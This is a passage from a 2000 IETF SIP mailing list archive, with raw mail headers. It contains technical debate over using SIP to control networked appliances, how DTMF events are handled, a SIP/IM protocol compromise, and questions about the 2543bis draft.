draft-moyer-sip-appliances-framework-00.txt Cc: stanm@research.telcordia.com, sip@lists.bell-labs.com In-Reply-To: <398871C2.186E70AB@cs.columbia.edu> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Hi, I think this is reasonable, but for higher bit-rate messages, I think a starting a specific application from the SDP would be appropriate (per Christian's proposal). The transport could be RTP, TCP, BXXP, whatever. I would draw the line at MESSAGE requests fitting in a single datagram. thanks, -rohan At 09:08 PM 8/2/00 , Henning Schulzrinne wrote: >I don't see this as RPC in the classical sense. There are two aspects: > >- action (MESSAGE) to affect lightbulb state;' > >- events to obtain lightbulb state. > >Thus, this is very similar to sending text (chat) messages and >subscribing to user status changes (events). Particularly in the event >case, the usual SIP advantages apply, including that the watcher may be >mobile (Speaking from personal plumbing accident experience, I want to >be notified when the home temperature drops below threshold regardless >of my location). > >There are some nice secondary benefits to this: existing SIP message and >notification tools can be trivially extended to handle this. I can put >my washer in my address book and be notified when the wash is ready. > >Also, existing tools such as sip-cgi and CPL are quite useful for this >space. > >Since this doesn't require any SIP extensions, it seems (hopefully) >harmless. > >Ben Campbell wrote: >> >> I have a general comment on the "Networked Appliances" draft. >> >> It seems to me that SIP is not an appropriate protocol for this purpose. It >> falls into the category of using SIP for an RPC mechanism. It is not clear >> to me how the primary features that distinguish SIP from something like HTTP >> (finding location, mobility, etc) are needed for a networked appliance >> protocol. >> >> It is entirely possible I am missing something here. If so, please enlighten >> me. >> >> Thanks! >> >> Ben Campbell >> dynamicsoft >> >> _______________________________________________ >> SIP mailing list >> SIP@lists.bell-labs.com >> http://lists.bell-labs.com/mailman/listinfo/sip > > >_______________________________________________ >SIP mailing list >SIP@lists.bell-labs.com >http://lists.bell-labs.com/mailman/listinfo/sip > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 11:23:50 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA13168 for ; Thu, 3 Aug 2000 11:23:50 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 043F4443E3; Thu, 3 Aug 2000 11:19:58 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by lists.bell-labs.com (Postfix) with ESMTP id 5D40C4439B for ; Thu, 3 Aug 2000 11:19:26 -0400 (EDT) Received: from imop.cisco.com (imop.cisco.com [171.69.11.44]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id IAA04873; Thu, 3 Aug 2000 08:19:41 -0700 (PDT) Received: from sony-laptop (ssh.cisco.com [171.69.10.34]) by imop.cisco.com (Mirapoint) with SMTP id AAC36129; Thu, 3 Aug 2000 08:19:23 -0700 (PDT) Message-Id: <4.1.20000803111008.00b8a4c0@imop.cisco.com> X-Sender: rmahy@imop.cisco.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Date: Thu, 03 Aug 2000 11:22:20 +0200 To: "Culpepper, Bert" , sip@lists.bell-labs.com From: Rohan Mahy Subject: RE: [SIP] DTMF discussion from WG meeting In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Hi, I think we may have a slightly different definition of first and third party. I'd say that the moment an app switches from first to third, it becomes third party and can subscribe to DTMF events. Perhaps I should say that a first-party cannot *take action* on DTMF events, but a thrid party should. If a 1st party app subscribes to DTMF events, there is a danger that it can count the same DTMF event twice (once from RTP, and once from the event). My preference is to avoid that slippery slope completely, and make a clean delineation. I have seen this kind of problem first hand. It is hard to troubleshoot, frustrating to the user, and it is not deterministic. The last double-DTMF problem I had only affected an apparently random portion of the DTMF events. It took a long time to discover why. thanks, -rohan At 06:10 AM 8/3/00 , Culpepper, Bert wrote: >Rohan, > >Is eliminating a first party from subscribing to DTMF event too restrictive? >I say this because I'd like to have the choice of either SUBSCRIBE or RFC >2833 (DTMF in RTP) as a first party. (I assume that by "first party" you >mean an endpoint with both a signaling session and a media session with the >other endpoint). yes >You imply the other endpoint will support both sending >DTMF events by NOTIFY and in RTP, maybe that's my interpretation problem :). >I believe a SIP UA can be a "first party" initially in a call then become a >"third party" by redirecting the other UA's media. Maybe I just need to >understand the terms first and third party. > >Thanks, >Bert > >> -----Original Message----- >> From: Rohan Mahy [mailto:rohan@cisco.com] >> Sent: Wednesday, August 02, 2000 1:41 PM >> To: sip@lists.bell-labs.com >> Subject: [SIP] DTMF discussion from WG meeting >> >> >> Hi Folks, >> >> Below is a summary of one proposal for DTMF (basically what I said at the >> mic today). >> >> - Terminals which *send audio* must be able to send and receive DTMF via >> RTP. (If for no other reason, than PSTN interworking). >> >> - First-party applications which *receive audio*, must be able to receive >> DTMF via RTP, because the sender may send their DTMF over RTP. >> >> - Third-party applications which want to find out about keypresses (IP >> endpoints) or DTMF events (PSTN endpoints) of a party in a call, should >> send a SUBSCRIBE to that party for dtmf-events. The third party may >> request [using some kind of parameter (ex: ";silent" or ";private")] that >> DTMF is not sent via RTP during this subscription. Otherwise the first >> party still sends DTMF to its audio peers using RTP. >> >> Applications of the "silent" parameter would be private signalling to >> calling card things, to conference control services, etc. >> >> - Alternatively a third party MAY send a script/document/application (ex: >> VoXML doc) to an endpoint to run, which could result in other SIP >> messages//notifies, etc. This script/doc/app MAY trap DTMF locally (and >> silently). >> >> - A first-party MAY NOT subscribe to dtmf-events, but MAY trap DTMF based >> on a local script/app/doc. >> >> Key here was the difference between a first party participant and a third >> party participant. >> >> Thoughts? >> >> thanks, >> -rohan >> >> >> >> _______________________________________________ >> SIP mailing list >> SIP@lists.bell-labs.com >> http://lists.bell-labs.com/mailman/listinfo/sip >> > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 11:35:01 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA18482 for ; Thu, 3 Aug 2000 11:35:01 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id C1334443DB; Thu, 3 Aug 2000 11:34:57 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by lists.bell-labs.com (Postfix) with ESMTP id 7DE344433A for ; Thu, 3 Aug 2000 11:34:54 -0400 (EDT) Received: from imop.cisco.com (imop.cisco.com [171.69.11.44]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id IAA17710; Thu, 3 Aug 2000 08:35:02 -0700 (PDT) Received: from sony-laptop (ssh.cisco.com [171.69.10.34]) by imop.cisco.com (Mirapoint) with SMTP id AAC36293; Thu, 3 Aug 2000 08:34:44 -0700 (PDT) Message-Id: <4.1.20000803112725.00b8b320@imop.cisco.com> X-Sender: rmahy@imop.cisco.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Date: Thu, 03 Aug 2000 11:37:38 +0200 To: Stan Moyer , "Ben Campbell" , From: Rohan Mahy Subject: Re: [SIP] Re: Comment on draft-moyer-sip-appliances-framework-00.txt Cc: dmarples@research.telcordia.com, stsang@research.telcordia.com In-Reply-To: <4.3.1.2.20000803093017.00b37e00@mailee.research.telcordia. com> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com At 03:50 PM 8/3/00 , Stan Moyer wrote: >This is a good question and one that we thought a lot about, so I'd be >happy to share some of our thoughts on this subject with you. > >At 01:43 PM 8/2/2000 -0500, Ben Campbell wrote: >>I have a general comment on the "Networked Appliances" draft. >> >>It seems to me that SIP is not an appropriate protocol for this purpose. It >>falls into the category of using SIP for an RPC mechanism. It is not clear >>to me how the primary features that distinguish SIP from something like HTTP >>(finding location, mobility, etc) are needed for a networked appliance >>protocol. > >First, I do not think that we are really using SIP as an RPC mechanism. >Though an argument could be made for the case when we want to query the >status of a device (e.g., "what's the temperature"). However, we believe >that there is a need to communicate with networked devices in several >different fashions: >1. Send a command to a device (e.g., "Turn on the light"). This is very >similar to Instant Messaging except that it is to a device instead of to a >human user (or application). So we propose to use the MESSAGE method in the >impp drafts. >2. Query a device (as mentioned above). While it could be viewed as similar >to an RPC, it could also be an Instant Message with an acknowledgement while the message flow and size would be appropriate for message, we need to decide if we agree with this usage or instead with Jonathan's guidelines doc . The guidlines doc says not to overload INFO to do device control, etc, etc, ; and that a method name should convey the verb associated with the method. which do we want? a) CONTROL and QUERY methods? b) use MESSAGE and SUBSCRIBE (for a fetch) c) use another app setup with SIP INVITE d) use a completely separate protocol This is not a decision limited to "wierd" applications like refrigerator temperature, light bulbs and coffe pots (no offense intended). One feature that really could take advantage of a CONTROL method is Far-end camera control for video sessions. You could also use such a method for conference moderation/control. Jonathan specifically said conference control is out of scope. >3. Establish a "session" with a device (e.g., "view the baby-cam", or "send >audio stream to stereo"). For this you would use a SIP INVITE with an SDP >payload. >4. Asynchronous events (e.g., "notify me when the security alarm goes >off"). This requires an event mechanism and the impp drafts describe >SUBSCRIBE and NOTIFY messages that could be used for this. I agree that both 3 and 4 are completely apropos for SIP. thanks, -rohan >We were not able to find one protocol out there that could easily support >all these communications paradigms. While it is true that several different >protocols could be used, we believe that there is great value in using one >protocol to support all these mechanisms for networked device >communications. To only require one common infrastructure to be deployed, >maintained, and managed is a big plus (IMO) for any architecture. There are >maybe only a few devices (like a camera that establishes a session to >transmit a video stream, and also accepts commands, e.g., via MESSAGE, to >control -- e.g., pan, zoom, etc.) that may have convergence of these >communications paradigms, but there will be many home domains that require >this convergence. > >In addition to supporting the previously mentioned communications >mechanism, networked devices also have other requirements. For example, >- a general purpose addressing scheme >- support for mobility/forwarding >- security (privacy and authentication/authorization) >In our opinion, SIP was the only protocol we found that met all of the >combined requirements. > >Perhaps the framework draft does not do a good enough job of outlining >these (and other) requirements and we would be better off with a separate >requirements draft. > >We know that SIP was not originally intended for this purpose, but we think >that using SIP for networked appliances does not put any additional >burden/requirements on SIP (assuming the impp drafts are incorporated) and >only adds to the overall attractiveness of SIP. > > >>It is entirely possible I am missing something here. If so, please enlighten >>me. > >I hope I answered your question(s), if not please let me know and I will >provide additional info/detail. > >-Stan Moyer > > > >_______________________________________________ >SIP mailing list >SIP@lists.bell-labs.com >http://lists.bell-labs.com/mailman/listinfo/sip > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 11:53:52 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA26265 for ; Thu, 3 Aug 2000 11:53:52 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 22025443EF; Thu, 3 Aug 2000 11:53:49 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from breeze.research.telcordia.com (breeze-fddi.research.telcordia.com [192.4.5.9]) by lists.bell-labs.com (Postfix) with ESMTP id 2448F4433A for ; Thu, 3 Aug 2000 11:53:46 -0400 (EDT) Received: from stanpc.research.telcordia.com (stanpc [192.4.12.105]) by breeze.research.telcordia.com (8.10.1/8.10.1) with ESMTP id e73Fr6Y22368; Thu, 3 Aug 2000 11:53:06 -0400 (EDT) Message-Id: <4.3.1.2.20000803113739.00b45c10@mailee.research.telcordia.com> X-Sender: stanm@mailee.research.telcordia.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.1 Date: Thu, 03 Aug 2000 11:53:05 -0400 To: "Fox, Mike" , sip@lists.bell-labs.com From: Stan Moyer Subject: RE: [SIP] Comment on draft-moyer-sip-appliances-framework-00.txt Cc: dmarples@research.telcordia.com, stsang@research.telcordia.com In-Reply-To: <613A6A6A3F09D3118F5C00508B2C24FEAD8DE8@sd_exchange.nuera.c om> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com At 02:38 PM 8/2/2000 -0700, Fox, Mike wrote: >The temptation to extend or use the "message" capability of SIP may become a >problem for all SIP devices to represent the message to the user. I would >think it far more compatible to start a SIP session and initiate a RTP audio >stream to deliver the audio message "FYI the house is too cold, the windows >are open, and it is snowing inside." when you are contacted via a SIP PSTN >gateway at your hotel in sunny Jamaica. And to deliver the message as text >to your pager, if instead you were hiking in the Rockies. I agree this is desirable and is easily supported if the device only needs to support SIP (plus RTP) to send either type of message. If a different protocol is required to send a text page that is an additional requirement on the device. While it's not difficult to have a PC (or even a PDA) support multiple protocols, we're looking at low-cost consumer devices where very extra bit of RAM is going to increase the cost to the consumer. > It seems that with >SDP this is already worked out by the session UAs, where as the message >scheme requires the destination UA to provide "message translation" so that >the message can be presented to the user by the interface device. The message translation is only for devices that don't communicate with SIP (or one of the media protocols that SIP would initiate a session for, e.g. RTP). The translation is "mandatory" because that is the only way to communicate with a device. > I think >the logic of session initiation consistently extends to initiating device >control and RPC protocols with SIP, rather than putting these into SIP. In many cases we only desire to send a simple command to a device (e.g., "Turn off the coffee pot") and in that case, setting up a session with SIP to send an RPC is a lot of overhead (plus requires two protocols -- SIP and the RPC). -Stan >My $0000.02 > >Mike Fox > > >_______________________________________________ >SIP mailing list >SIP@lists.bell-labs.com >http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 12:09:01 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA02756 for ; Thu, 3 Aug 2000 12:09:01 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id E22E4443F7; Thu, 3 Aug 2000 12:08:57 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from roma.axis.se (roma.axis.se [193.13.178.2]) by lists.bell-labs.com (Postfix) with ESMTP id 5D2EC4433A for ; Thu, 3 Aug 2000 12:08:53 -0400 (EDT) Received: from saur.axis.se (IDENT:root@saur.axis.se [171.16.116.30]) by roma.axis.se (8.9.3/8.9.3) with ESMTP id SAA25015 for ; Thu, 3 Aug 2000 18:08:37 +0200 (MEST) Received: from saur (IDENT:pkj@localhost [127.0.0.1]) by saur.axis.se (8.9.3/8.8.8) with ESMTP id SAA17359 for ; Thu, 3 Aug 2000 18:08:36 +0200 Message-Id: <200008031608.SAA17359@saur.axis.se> X-Mailer: exmh version 2.0.2 To: sip@lists.bell-labs.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 03 Aug 2000 18:08:36 +0200 From: Peter Kjellerstedt Subject: [SIP] More inconsistencies and questions Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Here are a couple of more inconcistencies and questions, this time vs the 2543bis-01 draft (July 26). 1) In 2 (SIP Uniform Resource Locators): The "np-queried" value for the user parameter is no longer present in the SIP-URL syntax, but it is still referenced in the text about telephone-subscriber. 2) In 6.38 (Route): The syntax for Route was not uppdated along the changes made to the syntax of Record-Route. 3) In 6.47.1 (Via: Requests): It is stated that the port specified is the port where the user agent wishes to receive responses. But what if TCP is used as transport protocol. Should it be the port of the local end of the TCP connection, or the master TCP port of the user agent? I assume it is the latter as the client would otherwise be required to open the connection before being able to create the message. 4) In 6.47.4 (Via: User Agent and Redirect Servers): Is it not better to use the existing TCP connection also if the address in the "sent-by" value differs from the source address of the packet (i.e., the same as mentioned under the third bullet)? This would effectivly result in adding a new bullet after the first stating to use the existing TCP connection if available (and removing that text from the third bullet). 5) In 6.47.5 (Via: Syntax): Should not SCTP and TLS be specified for the transport rule too (they are after all defined for the SIP-URL)? 6) In 10.1 (Behavior of SIP Clients and Servers: General Remarks): Should not SCTP and TLS be mentioned too, or maybe this needs a total check throughout the draft? 7) In 10.3 (Behavior of SIP Clients and Servers: TCP): "If the client closes or resets the TCP connection prior to receiving the first final response, the server treats this action as equivalent to a CANCEL request." What if there has been multiple requests for different calls over this connection that has not yet received their first final response. Should all of them be cancelled (I suppose so)? I would like to receive an answer for this before I leave on Monday for the SIP Bake-Off (if possible :) //Peter ------------------------------------------------------------ Peter Kjellerstedt E-Mail: Peter.Kjellerstedt@axis.com Axis Communications AB Phone: +46 46 272 18 69 Scheelevagen 34 Fax: +46 46 13 61 30 SE-223 63 LUND URL: http://www.axis.com/ _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 13:26:49 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA02023 for ; Thu, 3 Aug 2000 13:26:48 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 01BCB443D6; Thu, 3 Aug 2000 13:26:14 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from pmesmtp01.wcom.com (pmesmtp01.wcom.com [199.249.20.1]) by lists.bell-labs.com (Postfix) with ESMTP id AE6F34433A for ; Thu, 3 Aug 2000 13:26:10 -0400 (EDT) Received: from CONVERSION-DAEMON by firewall.mcit.com (PMDF V5.2-32 #42256) id <0FYQ000018FF7P@firewall.mcit.com> for sip@lists.bell-labs.com; Thu, 3 Aug 2000 17:26:03 +0000 (GMT) Received: from dgismtp01.wcomnet.com ([166.38.58.141]) by firewall.mcit.com (PMDF V5.2-32 #42256) with ESMTP id <0FYQ00FN68FEOT@firewall.mcit.com>; Thu, 03 Aug 2000 17:26:03 +0000 (GMT) Received: from CONVERSION-DAEMON by dgismtp01.wcomnet.com (PMDF V5.2-33 #42262) id <0FYQ001018FE8D@dgismtp01.wcomnet.com>; Thu, 03 Aug 2000 17:26:02 +0000 (GMT) Received: from dgismtp01.wcomnet.com by dgismtp01.wcomnet.com (PMDF V5.2-33 #42262) with SMTP id <0FYQ001018FC7W@dgismtp01.wcomnet.com>; Thu, 03 Aug 2000 17:26:02 +0000 (GMT) Received: from C25776A ([166.46.21.201]) by dgismtp01.wcomnet.com (PMDF V5.2-33 #42262) with SMTP id <0FYQ0001B8EXWP@dgismtp01.wcomnet.com>; Thu, 03 Aug 2000 17:25:51 +0000 (GMT) Date: Thu, 03 Aug 2000 12:25:44 -0500 From: Henry Sinnreich Subject: RE: [SIP] a proposal for a way to compromise? (really, not a joke) In-reply-to: <4.1.20000803101142.00b89a40@imop.cisco.com> To: Rohan Mahy , Scott Petrack , impp@iastate.edu, SIP reflector Cc: kzm@cisco.com Message-id: MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7bit Importance: Normal X-Priority: 3 (Normal) X-MSMail-priority: Normal Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit As mentioned by Marshall Rose, there are several protocols that may work equally well... From the perspective of a network service provider, it may be advantageous to have the smallest number of protocols on the network to deliver services. Each new protocol means extra resources to develop and maintain OSS, skill sets etc. From this point of view, having SIP do many things is an advantage IMHO. Also, as mentioned in the meeting, service providers are part of the food chain. Henry >-----Original Message----- >From: sip-admin@lists.bell-labs.com >[mailto:sip-admin@lists.bell-labs.com]On Behalf Of Rohan Mahy >Sent: Thursday, August 03, 2000 3:31 AM >To: Scott Petrack; impp@iastate.edu; SIP reflector >Cc: kzm@cisco.com >Subject: Re: [SIP] a proposal for a way to compromise? >(really, not a >joke) > > >Scott, > >I'm very relieved that other folks with a SIP >background are thinking about >the sort of combination you suggest. > >After lunch with the BEEP chair, I drew the following >conclusions. Please >note that these are my personal opinions, and not >necessarily those of my >employer, etc. > >- Both IMPS and IMXP satisfy the base requirements for IM and P >- SIP is superior for handling *mobile* presence >- The SIP MESSAGE method is simple and apropos for >messages that fit in one >datagram >- BXXP is much better for bigger messages (GIF/JPEG, >powerpoint, shared >browsing...) >- SIP could easily setup BXXP sessions > > >thanks, >-rohan > >At 08:39 PM 8/2/00 , Scott Petrack wrote: >> >>[The following is written in haste, because I >discovered I have to take an >>early plane out of the IETF. I'm really sorry to miss >the BOF tonight, but >>I'll certainly answer email questions:] >> >>I tried hard to do what Dave Crocker suggested, and >thought about what the >>'other side' is really after, and the fact is that >once I put myself in >>this frame of mind, I came pretty quickly to a few >ideas that point to a >>compromise. I know that this is considered >impossible, and that many >>people are just waiting for the two weeks to pass so >that the group can >>split in two, but I hope you'll give the following >ideas a decent >>look-over. I'll state up front that I am guilty of >two things: I am from >>the SIP side of the house, and I have not been as >active on the list as I >>should have been. But I spoke to a few people >yesterday, and I believe >>that the following is new input. If not, I apologize. >> >>First, Dave Crocker's exercise: what does each side >bring to the table, >>beyond "take my protocol, please...." >> >>The really essential service that SIP offers is >'session initiation'. It >>was absoutely designed from the beginning as a way to >HAND OFF to another >>protocol. SIP is only one piece in a puzzle that >includes SDP (for >>describing voice/video sessions) and RTP (for >transmitting realtime data). >>The original intent was that SIP would hand off to >the actual media >>transport session as soon as possible >>(an RTP session in the case of realtime voice/video). >In fact, basic SIP >>(without extensions) does a relatively poor job of >managing or modifying >>sessions that already exist. >> >>The key thing to remember from all this is that SIP is >>crafted to allow the sort of "finding"/"signaling" >and "hand off to >>another protocol". It is designed to do this under >some very important and >>difficult conditions -- mainly when people and >terminals are moving >>around, and when it's not clear at the beginning the >people want to IM. >>What SIP is less designed to do is to pass around >crazy types of >>text and non-text instant messages (although of >course SIP can do >>*anything* ;-)) that have nothing to do with a later >hand-off to a >>multimedia session. >> >>Now, on the other hand, my understanding is that the >"messaging" people >>feel that the key elements of MIME and SMTP push are >very important to >>them. In fact, my understanding is that the 'mobility >rendez-vous parts' >>of IMXP are less established and tested yet than >various nooks and >>crannies of the problems of getting a message >reliably and quickly from A >>to B. >> >>I for one think it very reasonable to suppose that >people who have been >>thinking about how to do messaging for many years are >very good at their >>craft, and have thought a lot about the nooks and >crannies of the >>different horrors that might occur when trying to >transport "instantly" >>different types of "messages". Maybe they've even >thought more than the >>SIP people have about this ;-). I'm particularly >thinking about what will >>happen when the message is large (a big image or >large HTML message, etc.) >> >>So my proposal for compromise is the following: >> >>use SIP for rendezvous and distributing presence -- >find the other >>person/people, help decide that the *way* they want >to communicate is via >>IM, and then HAND OFF to an IM protocol, one that is >designed to be >>extensible to all kinds of instant messaging (large >gifs, powerpoint >>presentations, shared browsing, whatever, etc.). >> >>If IMXP is a better "IM transfer protocol", then it's very >>reasonable to leave it to do just that, and have a >user signal that >>he wants to IM you by having the SIP hand off to IM. >> >>I'm hoping (probably in vain) that what really >offends the SIP people is >>doing finding/rendezvous in some other protocol than >SIP, and that what >>really offends messaging people is using SIP to >transfer messages. >> >>To be honest, this already happens in one very >special kind of instant >>messaging -- people who are into telephone devices >for the deaf (TDD) have >>defined an RTP format for realtime delivery of text. >If you've ever seen a >>device like this, it is the original "instant >messaging device". It >>enables people who could not otherwise use a phone to >communicate over the >>phone. And in the SIP version of this service, SIP is >used to 'set >>up' the call, but soon enough the call is handed off >to RTP, using the >>special RTP format for these kinds of text messages. >NO NO NO -- I'm not >>suggesting that we do instant messaging this way. I'm >suggesting that this >>model -- where SIP rendez-vous and hands off to a >different protocol -- is >>the core SIP model, and already is used for a very >special kind of >>"instant messaging". SIP really does this >"find/rendezvous/hand-off" >>piece very well, and it would be silly to reinvent it. >> >>At this point, I think that it's worth saying that >the accusations about >>"SIP taking over the user" are really not true. There >are many many things >>that one might want to do with a user which have >nothing to do with >>communicating with her/him. I might want to configure >the user's computer >>(if I'm the sysadmin), I might want to send mail to >his telephone, >>whatever. SIP has indeed been designed for the >>particular issue of "I've got a user name, and I want >to do realtime >>communication with him". SIP is not intended to 'own >the user'. *That* is >>a directory problem, and SIP is NOT a directory >service, nor was it ever >>intended to be one. >> >>As a final comment (I'm sure I'm gonna regret saying >this), it does look >>as if IMXP is a less mature protocol, in the good old >IETF sense of >>multiple interoperable implementations. (remember >"running code". That was >>supposed to carry some weight). So for the really >stupid requirement to >>send a short piece of text from one host to another, >the MESSAGE method >>works just fine. This could be used as a stop gap >while the more elaborate >>IMXP details are being worked out. There are many >details still to be >>worked out in the SIP proposals for rendezvous and >presence. But they >>really are details, and I'll bet that this work could >be completed >>quickly, to be followed by completing the work on >finishing details of >>IMXP for instant message delivery. >> >>Scott >> >> >> >>_______________________________________________ >>SIP mailing list >>SIP@lists.bell-labs.com >>http://lists.bell-labs.com/mailman/listinfo/sip >> > > > >_______________________________________________ >SIP mailing list >SIP@lists.bell-labs.com >http://lists.bell-labs.com/mailman/listinfo/sip _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 13:43:57 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA07181 for ; Thu, 3 Aug 2000 13:43:52 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id D937644362; Thu, 3 Aug 2000 13:43:21 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id EB5BB4433A for ; Thu, 3 Aug 2000 13:43:17 -0400 (EDT) Received: from dynamicsoft.com (wireless-135-164.ietf.marconi.com [147.73.135.164]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id NAA25955; Thu, 3 Aug 2000 13:44:50 -0400 (EDT) Message-ID: <3989B05C.D887363A@dynamicsoft.com> Date: Thu, 03 Aug 2000 13:48:12 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Peter Kjellerstedt Cc: sip@lists.bell-labs.com Subject: Re: [SIP] More inconsistencies and questions References: <200008031608.SAA17359@saur.axis.se> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Peter Kjellerstedt wrote: > > 3) In 6.47.1 (Via: Requests): > > It is stated that the port specified is the port where the > user agent wishes to receive responses. But what if TCP is used > as transport protocol. Should it be the port of the local end > of the TCP connection, or the master TCP port of the user agent? > I assume it is the latter as the client would otherwise be > required to open the connection before being able to create the > message. No, its the former. The spec says that if TCP is used, the response goes over the same connection as the request. It is only if the server needs to reopen a connection to send a response, that it would use the port number in the Via header. > > 4) In 6.47.4 (Via: User Agent and Redirect Servers): > > Is it not better to use the existing TCP connection also if > the address in the "sent-by" value differs from the source > address of the packet (i.e., the same as mentioned under the > third bullet)? This would effectivly result in adding a > new bullet after the first stating to use the existing TCP > connection if available (and removing that text from the > third bullet). I agree. > 7) In 10.3 (Behavior of SIP Clients and Servers: TCP): > > "If the client closes or resets the TCP connection prior to > receiving the first final response, the server treats this > action as equivalent to a CANCEL request." > > What if there has been multiple requests for different calls > over this connection that has not yet received their first > final response. Should all of them be cancelled (I suppose so)? Yes. -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 13:55:03 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA10854 for ; Thu, 3 Aug 2000 13:55:02 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 7977D4434F; Thu, 3 Aug 2000 13:54:56 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com 